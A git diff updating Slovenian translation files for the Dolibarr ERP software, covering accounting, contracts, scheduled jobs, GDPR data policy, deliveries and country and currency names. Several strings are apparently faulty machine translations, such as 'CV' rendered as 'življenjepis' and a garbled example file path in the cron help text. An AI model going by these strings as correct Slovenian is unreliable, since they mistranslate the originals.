naloga +LastDayTaxIsRelatedTo=Zadnji dan obdobja, na katerega se nanaša davek +VATDue=Zahtevan prometni davek +ClaimedForThisPeriod=Zahtevano za obdobje +PaidDuringThisPeriod=Plačano za to obdobje +PaidDuringThisPeriodDesc=To je vsota vseh plačil, povezanih z napovedmi DDV, ki imajo datum konca obdobja v izbranem časovnem obdobju. +ByVatRate=Po stopnji prometnega davka +TurnoverbyVatrate=Promet fakturiran po stopnji prometnega davka +TurnoverCollectedbyVatrate=Promet, zbran po stopnji prometnega davka +PurchasebyVatrate=Nakup po stopnji prometnega davka LabelToShow=Kratek naziv -PurchaseTurnover=Purchase turnover -PurchaseTurnoverCollected=Purchase turnover collected -RulesPurchaseTurnoverDue=- It includes the supplier's due invoices whether they are paid or not.
      - It is based on the invoice date of these invoices.
      -RulesPurchaseTurnoverIn=- It includes all the effective payments of invoices done to suppliers.
      - It is based on the payment date of these invoices
      -RulesPurchaseTurnoverTotalPurchaseJournal=It includes all debit lines from the purchase journal. -RulesPurchaseTurnoverOfExpenseAccounts=It includes (debit - credit) of lines for product accounts in group EXPENSE -ReportPurchaseTurnover=Purchase turnover invoiced -ReportPurchaseTurnoverCollected=Purchase turnover collected -IncludeVarpaysInResults = Include various payments in reports -IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) -InvoiceNotLate = To be collected (< 15 days) -InvoiceNotLate15Days = To be collected (15 to 30 days) -InvoiceNotLate30Days = To be collected (> 30 days) -InvoiceToPay=To pay (< 15 days) -InvoiceToPay15Days=To pay (15 to 30 days) -InvoiceToPay30Days=To pay (> 30 days) -ConfirmPreselectAccount=Preselect accountancy code -ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +PurchaseTurnover=Nabavni promet +PurchaseTurnoverCollected=Zbrani promet od nabave +RulesPurchaseTurnoverDue=- Vključuje zapadle račune dobavitelja, ne glede na to, ali so plačani ali ne.
      - Temelji na datumu računa teh računov.
      +RulesPurchaseTurnoverIn=- Vključuje vsa efektivna plačila računov dobaviteljem.
      - Temelji na datumu plačila teh računov
      +RulesPurchaseTurnoverTotalPurchaseJournal=Vključuje vse debetne vrstice iz nabavnega dnevnika. +RulesPurchaseTurnoverOfExpenseAccounts=Vključuje (obremenitev - dobro) postavk produktnih kontov v skupini ODHODKI +ReportPurchaseTurnover=Promet fakturiran +ReportPurchaseTurnoverCollected=Zbrani promet od nabave +IncludeVarpaysInResults = V poročila vključite različna plačila +IncludeLoansInResults = V poročila vključite posojila +InvoiceLate30Days = Pozno (> 30 dni) +InvoiceLate15Days = Pozno (15 do 30 dni) +InvoiceLateMinus15Days = Pozno (< 15 dni) +InvoiceNotLate = Prevzeti (< 15 dni) +InvoiceNotLate15Days = Prevzeti (15 do 30 dni) +InvoiceNotLate30Days = Prevzeti (> 30 dni) +InvoiceToPay=Za plačilo (< 15 dni) +InvoiceToPay15Days=Za plačilo (15 do 30 dni) +InvoiceToPay30Days=Za plačilo (> 30 dni) +ConfirmPreselectAccount=Vnaprej izberite šifro računovodstva +ConfirmPreselectAccountQuestion=Ali ste prepričani, da želite vnaprej izbrati %s izbrane vrstice s to računovodsko kodo? +AmountPaidMustMatchAmountOfDownPayment=Plačani znesek se mora ujemati z zneskom pologa diff --git a/htdocs/langs/sl_SI/contracts.lang b/htdocs/langs/sl_SI/contracts.lang index 5bf74a28340..81701a5e043 100644 --- a/htdocs/langs/sl_SI/contracts.lang +++ b/htdocs/langs/sl_SI/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Pogodbe/naročnine ContractsAndLine=Pogodbe in serija pogodb Contract=Pogodba ContractLine=Vrstica pogodbe +ContractLines=Pogodbene vrstice Closing=Zapiranje NoContracts=Ni pogodb MenuServices=Storitve @@ -28,19 +29,19 @@ MenuRunningServices=Aktivne storitve MenuExpiredServices=Pretečene storitve MenuClosedServices=Zaključene storitve NewContract=Nova pogodba -NewContractSubscription=New contract or subscription +NewContractSubscription=Nova pogodba ali naročnina AddContract=Ustvari pogodbo DeleteAContract=Izbriši pogodbo -ActivateAllOnContract=Activate all services +ActivateAllOnContract=Aktivirajte vse storitve CloseAContract=Zaključi pogodbo ConfirmDeleteAContract=Ste prepričani da želite zbrisati pogodbo in vse storitve? -ConfirmValidateContract=Are you sure you want to validate this contract under name %s? -ConfirmActivateAllOnContract=This will open all services (not yet active). Are you sure you want to open all services? -ConfirmCloseContract=This will close all services (expired or not). Are you sure you want to close this contract? -ConfirmCloseService=Are you sure you want to close this service with date %s? +ConfirmValidateContract=Ali ste prepričani, da želite to pogodbo potrditi pod imenom %s ? +ConfirmActivateAllOnContract=To bo odprlo vse storitve (še neaktivne). Ali ste prepričani, da želite odpreti vse storitve? +ConfirmCloseContract=S tem boste zaprli vse storitve (potekle ali ne). Ali ste prepričani, da želite zapreti to pogodbo? +ConfirmCloseService=Ali ste prepričani, da želite zapreti to storitev z datumom %s ? ValidateAContract=Potrdite pogodbo ActivateService=Aktivirajte storitev -ConfirmActivateService=Are you sure you want to activate this service with date %s? +ConfirmActivateService=Ali ste prepričani, da želite aktivirati to storitev z datumom %s ? RefContract=Referenca pogodbe DateContract=Datum pogodbe DateServiceActivate=Datum aktiviranja storitve @@ -51,9 +52,9 @@ ListOfClosedServices=Seznam zaključenih storitev ListOfRunningServices=Seznam aktivnih storitev NotActivatedServices=Neaktivne storitve (med potrjenimi pogodbami) BoardNotActivatedServices=Storitve, ki jih je potrebno aktivirati (med potrjenimi pogodbami) -BoardNotActivatedServicesShort=Services to activate -LastContracts=Latest %s contracts -LastModifiedServices=Latest %s modified services +BoardNotActivatedServicesShort=Storitve za aktiviranje +LastContracts=Najnovejše pogodbe %s +LastModifiedServices=Najnovejše %s spremenjene storitve ContractStartDate=Začetni datum ContractEndDate=Končni datum DateStartPlanned=Planiran začetni datum @@ -65,21 +66,21 @@ DateStartRealShort=Dejanski začetni datum DateEndReal=Dejanski končni datum DateEndRealShort=Dejanski končni datum CloseService=Zaključek storitve -BoardRunningServices=Services running -BoardRunningServicesShort=Services running -BoardExpiredServices=Services expired -BoardExpiredServicesShort=Services expired +BoardRunningServices=Storitve tečejo +BoardRunningServicesShort=Storitve tečejo +BoardExpiredServices=Storitve so potekle +BoardExpiredServicesShort=Storitve so potekle ServiceStatus=Status storitve DraftContracts=Osnutki pogodb -CloseRefusedBecauseOneServiceActive=Contract can't be closed as there is at least one open service on it -ActivateAllContracts=Activate all contract lines +CloseRefusedBecauseOneServiceActive=Pogodbe ni mogoče zapreti, ker je na njej vsaj ena odprta storitev +ActivateAllContracts=Aktivirajte vse pogodbene vrstice CloseAllContracts=Zaprite vse pogodbe DeleteContractLine=Izbrišite vrstico pogodbe -ConfirmDeleteContractLine=Are you sure you want to delete this contract line? +ConfirmDeleteContractLine=Ali ste prepričani, da želite izbrisati to pogodbeno vrstico? MoveToAnotherContract=Premaknite storitev na drugo pogodbo. ConfirmMoveToAnotherContract=Izbral sem novo ciljno pogodbo in potrjujem premik te storitve na to novo pogodbo. -ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Obnovi pogodbeno vrstico (številka %s) +ConfirmMoveToAnotherContractQuestion=Izberite, v katero obstoječo pogodbo partnerja želite prenesti to storitev? +PaymentRenewContractId=Obnovi pogodbo %s (storitev %s) ExpiredSince=Datum poteka NoExpiredServices=Ni potekla aktivne službe ListOfServicesToExpireWithDuration=Seznam storitev, ki potečejo v %s dneh @@ -89,16 +90,18 @@ NoteListOfYourExpiredServices=Ta seznam vsebuje samo storitve po pogodbah s part StandardContractsTemplate=Predloga standardnih pogodb ContactNameAndSignature=Za %s, ime in podpis: OnlyLinesWithTypeServiceAreUsed=Klonirane bodo samo vrstice tipa "Servis" -ConfirmCloneContract=Are you sure you want to clone the contract %s? -LowerDateEndPlannedShort=Lower planned end date of active services -SendContractRef=Contract information __REF__ -OtherContracts=Other contracts +ConfirmCloneContract=Ali ste prepričani, da želite klonirati pogodbo %s ? +LowerDateEndPlannedShort=Nižji načrtovani končni datum aktivnih storitev +SendContractRef=Informacije o pogodbi __REF__ +OtherContracts=Druge pogodbe ##### Types de contacts ##### TypeContact_contrat_internal_SALESREPSIGN=Podpisnik pogodbe TypeContact_contrat_internal_SALESREPFOLL=Referent za sledenje pogodbe TypeContact_contrat_external_BILLING=Kontakt v računovodstvu kupca TypeContact_contrat_external_CUSTOMER=Kontakt pri kupcu za sledenje pogodbe TypeContact_contrat_external_SALESREPSIGN=Kontakt pri kupcu za podpis pogodbe -HideClosedServiceByDefault=Hide closed services by default -ShowClosedServices=Show Closed Services -HideClosedServices=Hide Closed Services +HideClosedServiceByDefault=Privzeto skrij zaprte storitve +ShowClosedServices=Prikaži zaprte storitve +HideClosedServices=Skrij zaprte storitve +UserStartingService=Uporabnik zažene storitev +UserClosingService=Storitev zapiranja uporabnikov diff --git a/htdocs/langs/sl_SI/cron.lang b/htdocs/langs/sl_SI/cron.lang index e4c3b02ef35..ff4853b300f 100644 --- a/htdocs/langs/sl_SI/cron.lang +++ b/htdocs/langs/sl_SI/cron.lang @@ -6,86 +6,95 @@ Permission23102 = Ustvari/posodobi načrtovano delo Permission23103 = Izbriši načrtovano delo Permission23104 = Izvedi načrtovano delo # Admin -CronSetup=Scheduled job management setup -URLToLaunchCronJobs=URL to check and launch qualified cron jobs from a browser -OrToLaunchASpecificJob=Or to check and launch a specific job from a browser -KeyForCronAccess=Security key for URL to launch cron jobs -FileToLaunchCronJobs=Command line to check and launch qualified cron jobs -CronExplainHowToRunUnix=On Unix environment you should use the following crontab entry to run the command line each 5 minutes -CronExplainHowToRunWin=On Microsoft(tm) Windows environment you can use Scheduled Task tools to run the command line each 5 minutes -CronMethodDoesNotExists=Class %s does not contains any method %s -CronMethodNotAllowed=Method %s of class %s is in blacklist of forbidden methods -CronJobDefDesc=Cron job profiles are defined into the module descriptor file. When module is activated, they are loaded and available so you can administer the jobs from the admin tools menu %s. -CronJobProfiles=List of predefined cron job profiles +CronSetup=Načrtovana nastavitev upravljanja opravil +URLToLaunchCronJobs=URL za preverjanje in zagon kvalificiranih opravil cron iz brskalnika +OrToLaunchASpecificJob=Ali da preverite in zaženete določeno opravilo iz brskalnika +KeyForCronAccess=Varnostni ključ za URL za zagon opravil cron +FileToLaunchCronJobs=Ukazna vrstica za preverjanje in zagon kvalificiranih cron opravil +CronExplainHowToRunUnix=V okolju Unix morate uporabiti naslednji vnos v crontab za zagon ukazne vrstice vsakih 5 minut +CronExplainHowToRunWin=V okolju Microsoft(tm) Windows lahko z orodji Scheduled Task zaženete ukazno vrstico vsakih 5 minut +CronMethodDoesNotExists=Razred %s ne vsebuje nobene metode %s +CronMethodNotAllowed=Metoda %s razreda %s je na črnem seznamu prepovedanih metod +CronJobDefDesc=Profili opravil Cron so definirani v datoteki deskriptorja modula. Ko je modul aktiviran, so naloženi in na voljo, tako da lahko upravljate opravila iz menija skrbniških orodij %s. +CronJobProfiles=Seznam vnaprej določenih profilov opravil cron # Menu -EnabledAndDisabled=Enabled and disabled +EnabledAndDisabled=Omogočeno in onemogočeno # Page list -CronLastOutput=Latest run output -CronLastResult=Latest result code +CronLastOutput=Zadnji izhod +CronLastResult=Koda zadnjega rezultata CronCommand=Ukaz -CronList=Scheduled jobs -CronDelete=Delete scheduled jobs -CronConfirmDelete=Are you sure you want to delete these scheduled jobs? -CronExecute=Launch scheduled job -CronConfirmExecute=Are you sure you want to execute these scheduled jobs now? -CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. +CronList=Načrtovana delovna mesta +CronDelete=Izbrišite načrtovana opravila +CronConfirmDelete=Ali ste prepričani, da želite izbrisati ta načrtovana opravila? +CronExecute=Launch now +CronConfirmExecute=Ali ste prepričani, da želite ta načrtovana opravila izvesti zdaj? +CronInfo=Modul za razporejena opravila omogoča načrtovanje opravil za njihovo samodejno izvedbo. Dela se lahko zaženejo tudi ročno. CronTask=Naloga CronNone=Nič -CronDtStart=Not before -CronDtEnd=Not after -CronDtNextLaunch=Next execution -CronDtLastLaunch=Start date of latest execution -CronDtLastResult=End date of latest execution +CronDtStart=Ne prej +CronDtEnd=Ne po +CronDtNextLaunch=Naslednja izvedba +CronDtLastLaunch=Začetni datum zadnje izvršitve +CronDtLastResult=Končni datum zadnje izvedbe CronFrequency=Frekvenca -CronClass=Class +CronClass=Razred CronMethod=Metoda CronModule=Modul CronNoJobs=Nobene naloge niso registrirane CronPriority=Prioriteta CronLabel=Oznaka -CronNbRun=Number of launches -CronMaxRun=Maximum number of launches -CronEach=Every -JobFinished=Job launched and finished -Scheduled=Scheduled +CronNbRun=Število izstrelitev +CronMaxRun=Največje število izstrelitev +CronEach=vsak +JobFinished=Delo začeto in končano +Scheduled=Načrtovano #Page card CronAdd= Dodaj naloge -CronEvery=Execute job each -CronObject=Instance/Object to create +CronEvery=Izvedite delo vsak +CronObject=Primerek/predmet za ustvarjanje CronArgs=Parametri -CronSaveSucess=Save successfully +CronSaveSucess=Uspešno shranjevanje CronNote=Komentar -CronFieldMandatory=Fields %s is mandatory -CronErrEndDateStartDt=End date cannot be before start date -StatusAtInstall=Status at module installation -CronStatusActiveBtn=Schedule +CronFieldMandatory=Polja %s so obvezna +CronErrEndDateStartDt=Končni datum ne more biti pred začetnim datumom +StatusAtInstall=Stanje ob namestitvi modula +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Onemogoči -CronTaskInactive=This job is disabled (not scheduled) +CronTaskInactive=To opravilo je onemogočeno (ni načrtovano) CronId=Id -CronClassFile=Filename with class -CronModuleHelp=Name of Dolibarr module directory (also work with external Dolibarr module).
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for module is
      product -CronClassFileHelp=The relative path and file name to load (path is relative to web server root directory).
      For example to call the fetch method of Dolibarr Product object htdocs/product/class/product.class.php, the value for class file name is
      product/class/product.class.php -CronObjectHelp=The object name to load.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for class file name is
      Product -CronMethodHelp=The object method to launch.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for method is
      fetch -CronArgsHelp=The method arguments.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for paramters can be
      0, ProductRef -CronCommandHelp=The system command line to execute. -CronCreateJob=Create new Scheduled Job +CronClassFile=Ime datoteke z razredom +CronModuleHelp=Ime imenika modulov Dolibarr (deluje tudi z zunanjim modulom Dolibarr).
      Če želite na primer poklicati metodo pridobivanja predmeta Dolibarr Product /htdocs/ product /class/product.class.php, je vrednost za modul
      izdelek +CronClassFileHelp=Relativna pot in ime datoteke za nalaganje (pot je relativna glede na korenski imenik spletnega strežnika).
      Na primer, če želite poklicati metodo pridobivanja predmeta Dolibarr Product htdocs/product/class/ product.class.php , je vrednost za ime datoteke razreda
      product/class/product.bace363z.php a058 +CronObjectHelp=Ime predmeta za nalaganje.
      Če želite na primer poklicati metodo pridobivanja predmeta Dolibarr Product /htdocs/product/class/product.class.php, je vrednost za ime datoteke razreda
      Product +CronMethodHelp=Objektna metoda za zagon.
      Če želite na primer poklicati metodo pridobivanja predmeta Dolibarr Product /htdocs/product/class/product.class.php, je vrednost za metodo
      pridobivanje +CronArgsHelp=Argumenti metode.
      Če želite na primer poklicati metodo pridobivanja predmeta Dolibarr Product /htdocs/product/class/product.class.php, je lahko vrednost za parametre
      0, ProductRef +CronCommandHelp=Sistemska ukazna vrstica za izvedbo. +CronCreateJob=Ustvari novo načrtovano opravilo CronFrom=Od # Info # Common -CronType=Job type -CronType_method=Call method of a PHP Class -CronType_command=Shell command -CronCannotLoadClass=Cannot load class file %s (to use class %s) -CronCannotLoadObject=Class file %s was loaded, but object %s was not found into it -UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - Scheduled jobs" to see and edit scheduled jobs. -JobDisabled=Job disabled -MakeLocalDatabaseDumpShort=Local database backup -MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep -WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. -DATAPOLICYJob=Data cleaner and anonymizer -JobXMustBeEnabled=Job %s must be enabled +CronType=Vrsta dela +CronType_method=Klicna metoda razreda PHP +CronType_command=Ukaz lupine +CronCannotLoadClass=Ni mogoče naložiti datoteke razreda %s (za uporabo razreda %s) +CronCannotLoadObject=Datoteka razreda %s je bila naložena, vendar v njej ni bilo najdenega predmeta %s +UseMenuModuleToolsToAddCronJobs=Pojdite v meni " Domov - Skrbniška orodja - Načrtovana opravila " za ogled in urejanje načrtovanih opravil. +JobDisabled=Delo onemogočeno +MakeLocalDatabaseDumpShort=Varnostno kopiranje lokalne baze podatkov +MakeLocalDatabaseDump=Ustvarite izpis lokalne baze podatkov. Parametri so: stiskanje ('gz' ali 'bz' ali 'none'), vrsta varnostne kopije ('mysql', 'pgsql', 'auto'), 1, 'auto' ali ime datoteke za izdelavo, število datotek varnostne kopije, ki jih je treba hraniti +MakeSendLocalDatabaseDumpShort=Pošlji varnostno kopijo lokalne baze podatkov +MakeSendLocalDatabaseDump=Pošlji varnostno kopijo lokalne baze podatkov po e-pošti. Parametri so: do, od, predmet, sporočilo, ime datoteke (ime poslane datoteke), filter ('sql' samo za varnostno kopijo baze podatkov) +BackupIsTooLargeSend=Žal je zadnja varnostna kopija prevelika za pošiljanje po e-pošti +CleanUnfinishedCronjobShort=Očistite nedokončan cronjob +CleanUnfinishedCronjob=Očistite cronjob, ki se je zataknil v obdelavi, ko se proces ne izvaja več +WarningCronDelayed=Pozor, zaradi zmogljivosti, ne glede na naslednji datum izvedbe omogočenih opravil, so lahko vaša opravila pred izvajanjem odložena za največ %s ur. +DATAPOLICYJob=Čistilec in anonimizator podatkov +JobXMustBeEnabled=Opravilo %s mora biti omogočeno +EmailIfError=E-pošta za opozorilo o napaki +ErrorInBatch=Napaka pri izvajanju opravila %s + # Cron Boxes -LastExecutedScheduledJob=Last executed scheduled job -NextScheduledJobExecute=Next scheduled job to execute -NumberScheduledJobError=Number of scheduled jobs in error +LastExecutedScheduledJob=Zadnje izvedeno načrtovano opravilo +NextScheduledJobExecute=Naslednje načrtovano opravilo za izvedbo +NumberScheduledJobError=Število napačno načrtovanih opravil +NumberScheduledJobNeverFinished=Število nikoli dokončanih načrtovanih opravil diff --git a/htdocs/langs/sl_SI/datapolicy.lang b/htdocs/langs/sl_SI/datapolicy.lang new file mode 100644 index 00000000000..dbdbc5e6e9a --- /dev/null +++ b/htdocs/langs/sl_SI/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Politika zasebnosti podatkov +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Modul za upravljanje zasebnosti podatkov (skladnost z GDPR) + +# +# Administration page +# +datapolicySetup = Nastavitev pravilnika o zasebnosti podatkov modula +Deletion = Izbris podatkov +datapolicySetupPage = Odvisno od zakonov vaših držav (primer člen 5 GDPR) je treba osebne podatke hraniti toliko časa, kolikor je potrebno za namene, za katere so bili zbrani, razen za arhivske namene.
      Brisanje bo izvedeno samodejno po določenem času brez dogodka (trajanje, ki ga boste navedli spodaj). +NB_MONTHS = %s mesecev +ONE_YEAR = 1 leto +NB_YEARS = %s let +DATAPOLICY_TIERS_CLIENT = Kupec +DATAPOLICY_TIERS_PROSPECT = Potencialni kupec +DATAPOLICY_TIERS_PROSPECT_CLIENT = Potencialni kupec/kupec +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Niti potencialni kupec/niti kupec +DATAPOLICY_TIERS_FOURNISSEUR = Dobavitelj +DATAPOLICY_CONTACT_CLIENT = Kupec +DATAPOLICY_CONTACT_PROSPECT = Potencialni kupec +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Potencialni kupec/kupec +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Niti potencialna stranka/niti stranka +DATAPOLICY_CONTACT_FOURNISSEUR = Dobavitelj +DATAPOLICY_ADHERENT = Član +DATAPOLICY_Tooltip_SETUP = Vrsta stika – navedite svoje izbire za vsako vrsto. +DATAPOLICYMail = Nastavitev e-pošte +DATAPOLICYSUBJECTMAIL = Zadeva e-pošte +DATAPOLICYCONTENTMAIL = Vsebina e-pošte +DATAPOLICYSUBSITUTION = V svoji e-pošti lahko uporabite naslednje spremenljivke (LINKACCEPT omogoča ustvarjanje povezave, ki beleži strinjanje osebe, LINKREFUSED omogoča beleženje zavrnitve osebe): +DATAPOLICYACCEPT = Sporočilo po dogovoru +DATAPOLICYREFUSE = Sporočilo po nestrinjanju +SendAgreementText = E-pošto GDPR lahko pošljete vsem svojim relevantnim kontaktom (ki še niso prejeli e-pošte in za katere niste registrirali ničesar o njihovi pogodbi GDPR). Če želite to narediti, uporabite naslednji gumb. +SendAgreement = Pošlji e-pošto +AllAgreementSend = Vsa e-poštna sporočila so bila poslana +TXTLINKDATAPOLICYACCEPT = Besedilo za povezavo "pogodba" +TXTLINKDATAPOLICYREFUSE = Besedilo za povezavo "disgreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Obdelava osebnih podatkov +DATAPOLICY_consentement = Pridobljena privolitev za obdelavo osebnih podatkov +DATAPOLICY_opposition_traitement = Nasprotuje obdelavi svojih osebnih podatkov +DATAPOLICY_opposition_prospection = Nasprotuje obdelavi njegovih osebnih podatkov za namene iskanja + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonimizirajte partnerja +DATAPOLICY_POPUP_ANONYME_TEXTE = Tega stika ne morete izbrisati iz Dolibarra, ker so povezani elementi. V skladu z GDPR boste zaradi izpolnjevanja svojih obveznosti vse te podatke naredili anonimne. Bi radi nadaljevali? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Prenosljivost GDPR +DATAPOLICY_PORTABILITE_TITLE = Iznos osebnih podatkov +DATAPOLICY_PORTABILITE_CONFIRMATION = Želite izvoziti osebne podatke tega stika. Ali si prepričan ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonimiziral %s + +# V2 +DATAPOLICYReturn = Potrditev GDPR +DATAPOLICY_date = Datum dogovora/odstopa od dogovora GDPR +DATAPOLICY_send = Datum pošiljanja e-pošte s pogodbo +DATAPOLICYReturn = Potrditev GDPR +DATAPOLICY_SEND = Pošlji e-pošto GDPR +MailSent = Email je bil poslan + +# ERROR +ErrorSubjectIsRequired = Napaka: Zadeva e-pošte je obvezna. Navedite ga v nastavitvah modula +=Zaradi tehnične težave nismo mogli prijaviti vaše izbire. Za to se opravičujemo. Pišite nam, da nam pošljete vašo izbiro. +NUMBER_MONTH_BEFORE_DELETION = Število meseca pred izbrisom diff --git a/htdocs/langs/sl_SI/deliveries.lang b/htdocs/langs/sl_SI/deliveries.lang index a2045ed2786..1887452c20e 100644 --- a/htdocs/langs/sl_SI/deliveries.lang +++ b/htdocs/langs/sl_SI/deliveries.lang @@ -1,16 +1,16 @@ # Dolibarr language file - Source file is en_US - deliveries Delivery=Dobava -DeliveryRef=Ref Delivery -DeliveryCard=Receipt card -DeliveryOrder=Delivery receipt +DeliveryRef=Ref Dostava +DeliveryCard=Računska kartica +DeliveryOrder=Potrdilo o dostavi DeliveryDate=Datum dobave -CreateDeliveryOrder=Generate delivery receipt +CreateDeliveryOrder=Ustvarite potrdilo o dostavi DeliveryStateSaved=Shranjen status dobave SetDeliveryDate=Nastavitev datuma dobave ValidateDeliveryReceipt=Potrditev prejemnice -ValidateDeliveryReceiptConfirm=Are you sure you want to validate this delivery receipt? +ValidateDeliveryReceiptConfirm=Ali ste prepričani, da želite potrditi to potrdilo o dostavi? DeleteDeliveryReceipt=Zbriši prejemnico -DeleteDeliveryReceiptConfirm=Are you sure you want to delete delivery receipt %s? +DeleteDeliveryReceiptConfirm=Ali ste prepričani, da želite izbrisati potrdilo o dostavi %s ? DeliveryMethod=Način dobave TrackingNumber=Številka za sledenje DeliveryNotValidated=Dobava ni potrjena @@ -18,16 +18,16 @@ StatusDeliveryCanceled=Preklicano StatusDeliveryDraft=Osnutek StatusDeliveryValidated=Prejet # merou PDF model -NameAndSignature=Name and Signature: +NameAndSignature=Ime in podpis: ToAndDate=Za___________________________________ dne ____/_____/__________ GoodStatusDeclaration=Potrjujem prejem zgornjega blaga v dobrem stanju, -Deliverer=Deliverer: +Deliverer=Dostavljalec: Sender=Pošiljatelj Recipient=Prejemnik ErrorStockIsNotEnough=Zaloga je premajhna Shippable=Možna odprema NonShippable=Ni možna odprema -ShowShippableStatus=Show shippable status -ShowReceiving=Show delivery receipt -NonExistentOrder=Nonexistent order -StockQuantitiesAlreadyAllocatedOnPreviousLines = Stock quantities already allocated on previous lines +ShowShippableStatus=Prikaži stanje za pošiljanje +ShowReceiving=Prikaži potrdilo o dostavi +NonExistentOrder=Neobstoječe naročilo +StockQuantitiesAlreadyAllocatedOnPreviousLines = Količine zalog, že dodeljene v prejšnjih vrsticah diff --git a/htdocs/langs/sl_SI/dict.lang b/htdocs/langs/sl_SI/dict.lang index 3dcb0ed73a1..d61c524c6cd 100644 --- a/htdocs/langs/sl_SI/dict.lang +++ b/htdocs/langs/sl_SI/dict.lang @@ -116,7 +116,7 @@ CountryHM=Heard Island and McDonald CountryVA=Vatikan CountryHN=Honduras CountryHK=Hongkong -CountryIS=Iceland +CountryIS=Islandija CountryIN=Indija CountryID=Indonezija CountryIR=Iran @@ -131,7 +131,7 @@ CountryKI=Kiribati CountryKP=Severna Koreja CountryKR=Južna Koreja CountryKW=Kuvajt -CountryKG=Kyrgyzstan +CountryKG=Kirgizistan CountryLA=Laos CountryLV=Latvija CountryLB=Libanon @@ -160,7 +160,7 @@ CountryMD=Moldavija CountryMN=Mongolija CountryMS=Monserat CountryMZ=Mozambik -CountryMM=Myanmar (Burma) +CountryMM=Mjanmar (Burma) CountryNA=Namibija CountryNR=Nauru CountryNP=Nepal @@ -223,7 +223,7 @@ CountryTO=Tonga CountryTT=Trinidad in Tobago CountryTR=Turčija CountryTM=Turkmenistan -CountryTC=Turks and Caicos Islands +CountryTC=Otoki Turks in Caicos CountryTV=Tuvalu CountryUG=Uganda CountryUA=Ukrajina @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Ga. +CivilityMMEShort=Ga. CivilityMR=G. +CivilityMRShort=G. CivilityMLE=Gdč. CivilityMTRE=Mojster CivilityDR=Doktor @@ -277,7 +279,7 @@ CurrencySingMGA=Ariary CurrencyMUR=Mauricijske rupije CurrencySingMUR=Mauricijska rupija CurrencyNOK=Norveške krone -CurrencySingNOK=Norwegian kronas +CurrencySingNOK=Norveške krone CurrencyTND=Tunizijski dinarji CurrencySingTND=Tunizijski dinar CurrencyUSD=Ameriški Dolarji @@ -290,7 +292,7 @@ CurrencyXOF=CFA Francs BCEAO CurrencySingXOF=CFA Franc BCEAO CurrencyXPF=CFP Francs CurrencySingXPF=CFP Franc -CurrencyCentEUR=cents +CurrencyCentEUR=centov CurrencyCentSingEUR=cent CurrencyCentINR=paisa CurrencyCentSingINR=pais @@ -307,7 +309,7 @@ DemandReasonTypeSRC_WOM=Ustno DemandReasonTypeSRC_PARTNER=Partner DemandReasonTypeSRC_EMPLOYEE=Zaposleni DemandReasonTypeSRC_SPONSORING=Sponzorstvo -DemandReasonTypeSRC_SRC_CUSTOMER=Incoming contact of a customer +DemandReasonTypeSRC_SRC_CUSTOMER=Dohodni stik stranke #### Paper formats #### PaperFormatEU4A0=Format 4A0 PaperFormatEU2A0=Format 2A0 @@ -329,31 +331,31 @@ PaperFormatCAP4=Format P4 Canada PaperFormatCAP5=Format P5 Canada PaperFormatCAP6=Format P6 Canada #### Expense report categories #### -ExpAutoCat=Car +ExpAutoCat=avto ExpCycloCat=Moped -ExpMotoCat=Motorbike +ExpMotoCat=motorno kolo ExpAuto3CV=3 CV -ExpAuto4CV=4 CV +ExpAuto4CV=4 življenjepis ExpAuto5CV=5 CV ExpAuto6CV=6 CV -ExpAuto7CV=7 CV -ExpAuto8CV=8 CV +ExpAuto7CV=7 življenjepis +ExpAuto8CV=8 življenjepis ExpAuto9CV=9 CV ExpAuto10CV=10 CV -ExpAuto11CV=11 CV +ExpAuto11CV=11 življenjepis ExpAuto12CV=12 CV -ExpAuto3PCV=3 CV and more -ExpAuto4PCV=4 CV and more -ExpAuto5PCV=5 CV and more -ExpAuto6PCV=6 CV and more -ExpAuto7PCV=7 CV and more -ExpAuto8PCV=8 CV and more -ExpAuto9PCV=9 CV and more -ExpAuto10PCV=10 CV and more -ExpAuto11PCV=11 CV and more -ExpAuto12PCV=12 CV and more -ExpAuto13PCV=13 CV and more -ExpCyclo=Capacity lower to 50cm3 -ExpMoto12CV=Motorbike 1 or 2 CV -ExpMoto345CV=Motorbike 3, 4 or 5 CV -ExpMoto5PCV=Motorbike 5 CV and more +ExpAuto3PCV=3 CV in več +ExpAuto4PCV=4 CV in več +ExpAuto5PCV=5 CV in več +ExpAuto6PCV=6 CV in 